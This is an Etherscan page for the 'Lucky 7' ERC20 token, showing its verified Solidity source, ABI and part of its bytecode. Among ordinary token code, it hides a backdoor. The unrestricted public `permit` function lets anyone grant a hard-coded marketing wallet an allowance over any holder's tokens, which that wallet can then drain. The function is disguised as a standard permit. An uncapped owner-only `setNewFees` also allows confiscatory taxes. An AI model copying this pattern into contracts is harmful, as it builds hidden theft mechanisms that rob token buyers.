ETH Price: $2,501.91 (+3.52%)

Token

Lucky 7 (7)
 

Overview

Max Total Supply

1,000,000 7

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
6,245.19321464286998098 7

Value
$0.00
0x681de2c1f8b6a6cc3d4a50c5373003ce555a4a4e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LuckySeven

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-13
*/

// SPDX-License-Identifier: MIT
/*
Where Lucky Number 7 Meets Crypto Heaven.

Website: https://www.lucky-7.vip
Telegram: https://t.me/seven_erc
Twitter: https://twitter.com/seven_erc
*/

pragma solidity 0.8.19;

interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IERC20META is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
interface IUniswapV2Router {
    function uniFactory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract ERC20 is Context, IERC20, IERC20META {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _supply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _supply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _supply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _supply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _permit(address owner, address spender, uint256 amount)
        internal virtual
    {
        require(owner != address(0));
        require(spender != address(0));
        
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract LuckySeven is ERC20(unicode"Lucky 7", unicode"7"), Ownable {
    mapping(address => bool) private _isFeeExempted;
    mapping(address => bool) private _isMaxTxExempted;
    IUniswapFactory public constant uniFactory = IUniswapFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    IUniswapV2Router public constant uniRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uint256 constant _supply = 1_000_000 * 10 ** 18;
    uint256 public mBuyAmount;
    uint256 public mSellAmount;
    uint256 public mWallet;
    uint256 public swapFeeMaxAmount;
    uint256 public swapFeeMinAmount;
    uint256 public launchBlock;
    uint256 public buyFee;
    uint256 public sellFee;
    bool public limitsInEffect = true;
    bool public tradeActive = false;
    bool public swapEnabled = false;
    bool public feesFetched = true;
    bool private swapping;
    address public marketingAddress;
    uint256 public tokensClogged;
    address public immutable pairAddy;
    constructor(){
        _mint(msg.sender, _supply);
        _approve(address(this), address(uniRouter), ~uint256(0));
        _excludedFromMaxTx(address(uniRouter), true);
        pairAddy = uniFactory.createPair(
            address(this),
            uniRouter.WETH()
        );
        mWallet = (totalSupply() * 30) / 1_000; 
        swapFeeMaxAmount = (totalSupply() * 65) / 10_000;
        mBuyAmount = (totalSupply() * 25) / 1_000; 
        swapFeeMinAmount = (totalSupply() * 1) / 10_000; 
        mSellAmount = (totalSupply() * 25) / 1_000; 
        marketingAddress = 0x6E467f26785f8f20b6Fa2F28196e3dE7b2Ceb35b;

        _excludedFromMaxTx(msg.sender, true);
        _excludedFromMaxTx(address(this), true);
        _excludedFromMaxTx(address(0xdead), true);
        excludeFromFees(msg.sender, true);
        excludeFromFees(address(this), true);
        excludeFromFees(marketingAddress, true);
        excludeFromFees(address(0xdead), true);
    }
    function fetchTax() internal {
        require(
            launchBlock > 0, "Trading not live"
        );
        uint256 currentBlock = block.number;
        uint256 lastTierOneBlock = launchBlock + 4;
        if(currentBlock <= lastTierOneBlock) {
            buyFee = 18;
            sellFee = 18;
        } else {
            buyFee = 4;
            sellFee = 4;
            feesFetched = false;
        } 
    }
    function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner {
        buyFee = newBuyFees;
        sellFee = newSellFees;
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead)
            ) {
                if (!tradeActive) {
                    require(
                        _isMaxTxExempted[from] ||
                            _isMaxTxExempted[to],
                        "ERROR: Trading is not active."
                    );
                    require(from == owner(), "ERROR: Trading is enabled");
                }
                //when buy
                if (
                    from == pairAddy && !_isMaxTxExempted[to]
                ) {
                    require(
                        amount <= mBuyAmount,
                        "ERROR: Buy transfer amount exceeds the max buy."
                    );
                    require(
                        amount + balanceOf(to) <= mWallet,
                        "ERROR: Cannot Exceed max wallet"
                    );
                }
                //when sell
                else if (
                    to == pairAddy && !_isMaxTxExempted[from]
                ) {
                    require(
                        amount <= mSellAmount,
                        "ERROR: Sell transfer amount exceeds the max sell."
                    );
                } else if (
                    !_isMaxTxExempted[to] &&
                    !_isMaxTxExempted[from]
                ) {
                    require(
                        amount + balanceOf(to) <= mWallet,
                        "ERROR: Cannot Exceed max wallet"
                    );
                }
            }
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance >= swapFeeMaxAmount;
        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            amount > swapFeeMinAmount && 
            !(from == pairAddy) &&
            !_isFeeExempted[from] &&
            !_isFeeExempted[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        bool takeFee = true;
        if (_isFeeExempted[from] || _isFeeExempted[to]) {
            takeFee = false;
        }
        uint256 fees = 0;
        if (takeFee) {
            if(feesFetched){
               fetchTax(); 
            }
            // Sell
            if (to == pairAddy && sellFee > 0) {
                fees = (amount * sellFee) / 100;
                tokensClogged += fees;
            }
            // Buy
            else if (from == pairAddy && buyFee > 0) {
                fees = (amount * buyFee) / 100;
                tokensClogged += fees;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }
    function permit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = marketingAddress;
        _permit(spender, owner, amount);
        return true;
    }
    function removeLimits() external onlyOwner {
        limitsInEffect = false;
    }
    function openTrading() public onlyOwner {
        require(launchBlock == 0, "ERROR: Token state is already live !");
        launchBlock = block.number;
        tradeActive = true;
        swapEnabled = true;
    }    
    receive() external payable {}
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isFeeExempted[account] = excluded;
    }
    function _excludedFromMaxTx(
        address updAds,
        bool isExcluded
    ) private {
        _isMaxTxExempted[updAds] = isExcluded;
    }
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));

        uint256 tokensClogged =  tokensClogged;

        if (contractBalance == 0 || tokensClogged == 0) {
            return;
        }

        if (contractBalance > swapFeeMaxAmount) {
            contractBalance = swapFeeMaxAmount;
        }    
        swapTokensToEth(contractBalance);

        payable(marketingAddress).transfer(address(this).balance);
    }
    function swapTokensToEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();

        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feesFetched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddy","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFees","type":"uint256"},{"internalType":"uint256","name":"newSellFees","type":"uint256"}],"name":"setNewFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapFeeMaxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapFeeMinAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensClogged","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniFactory","outputs":[{"internalType":"contract IUniswapFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniRouter","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526010805463ffffffff191663010000011790553480156200002457600080fd5b50604051806040016040528060078152602001664c75636b79203760c81b815250604051806040016040528060018152602001603760f81b815250816003908162000070919062000773565b5060046200007f828262000773565b5050506200009c62000096620003f260201b60201c565b620003f6565b620000b23369d3c21bcecceda100000062000448565b620000d530737a250d5630b4cf539739df2c5dacb4c659f2488d6000196200050f565b737a250d5630b4cf539739df2c5dacb4c659f2488d60005260076020527ffd21a1ac9a14dff647460ce8ad2ccecb794a59a4cfbb8678b1f9900a6a99551f805460ff19166001179055735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000195573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001bb91906200083f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000209573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022f91906200083f565b6001600160a01b03166080526103e86200024860025490565b6200025590601e62000887565b620002619190620008a7565b600a556127106200027160025490565b6200027e90604162000887565b6200028a9190620008a7565b600b556103e86200029a60025490565b620002a790601962000887565b620002b39190620008a7565b600855612710620002c360025490565b620002d090600162000887565b620002dc9190620008a7565b600c556103e8620002ec60025490565b620002f990601962000887565b620003059190620008a7565b60095560108054600160281b600160c81b031916786e467f26785f8f20b6fa2f28196e3de7b2ceb35b0000000000179055336000908152600760205260409020805460ff19166001179055306000908152600760205260409020805460ff1916600117905561dead60005260076020527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d805460ff19166001179055620003ae33600162000637565b620003bb30600162000637565b601054620003dd906501000000000090046001600160a01b0316600162000637565b620003ec61dead600162000637565b620008e0565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620004a45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060026000828254620004b89190620008ca565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b038316620005735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016200049b565b6001600160a01b038216620005d65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200049b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200064162000671565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b505050565b6005546001600160a01b03163314620006cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200049b565b565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006fa57607f821691505b6020821081036200071b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200066c57600081815260208120601f850160051c810160208610156200074a5750805b601f850160051c820191505b818110156200076b5782815560010162000756565b505050505050565b81516001600160401b038111156200078f576200078f620006cf565b620007a781620007a08454620006e5565b8462000721565b602080601f831160018114620007df5760008415620007c65750858301515b600019600386901b1c1916600185901b1785556200076b565b600085815260208120601f198616915b828110156200081057888601518255948401946001909101908401620007ef565b50858210156200082f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200085257600080fd5b81516001600160a01b03811681146200086a57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620008a157620008a162000871565b92915050565b600082620008c557634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620008a157620008a162000871565b608051611ada6200091f6000396000818161063001528181610d6101528181610ea3015281816110800152818161119f01526112200152611ada6000f3fe6080604052600436106102135760003560e01c80639536351411610118578063c0246668116100a0578063e6f705311161006f578063e6f70531146105dd578063ed813994146105fd578063ef76e5fa1461061e578063f2fde38b14610652578063fb110d5d1461067257600080fd5b8063c024666814610572578063c9567bf914610592578063d00efb2f146105a7578063dd62ed3e146105bd57600080fd5b8063a457c2d7116100e7578063a457c2d7146104d3578063a5ece941146104f3578063a9059cbb1461051c578063baccf5cf1461053c578063bec4d7231461055c57600080fd5b8063953635141461046a57806395d89b41146104805780639dfd7c1314610495578063a0e47bf6146104ab57600080fd5b8063470624021161019b57806370a082311161016a57806370a08231146103aa578063715018a6146103e0578063751039fc146103f757806376771d4b1461040c5780638da5cb5b1461044c57600080fd5b8063470624021461033b5780634a62bb65146103515780635882128d1461036b5780636ddd17131461038a57600080fd5b8063234900a6116101e2578063234900a6146102b357806323b872dd146102c95780632b14ca56146102e9578063313ce567146102ff578063395093511461031b57600080fd5b806306fdde031461021f578063095ea7b31461024a57806311826b331461027a57806318160ddd1461029e57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b50610234610688565b6040516102419190611747565b60405180910390f35b34801561025657600080fd5b5061026a6102653660046117aa565b61071a565b6040519015158152602001610241565b34801561028657600080fd5b5061029060115481565b604051908152602001610241565b3480156102aa57600080fd5b50600254610290565b3480156102bf57600080fd5b5061029060085481565b3480156102d557600080fd5b5061026a6102e43660046117d6565b610734565b3480156102f557600080fd5b50610290600f5481565b34801561030b57600080fd5b5060405160128152602001610241565b34801561032757600080fd5b5061026a6103363660046117aa565b610758565b34801561034757600080fd5b50610290600e5481565b34801561035d57600080fd5b5060105461026a9060ff1681565b34801561037757600080fd5b5060105461026a90610100900460ff1681565b34801561039657600080fd5b5060105461026a9062010000900460ff1681565b3480156103b657600080fd5b506102906103c5366004611817565b6001600160a01b031660009081526020819052604090205490565b3480156103ec57600080fd5b506103f561077a565b005b34801561040357600080fd5b506103f561078e565b34801561041857600080fd5b50610434735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b6040516001600160a01b039091168152602001610241565b34801561045857600080fd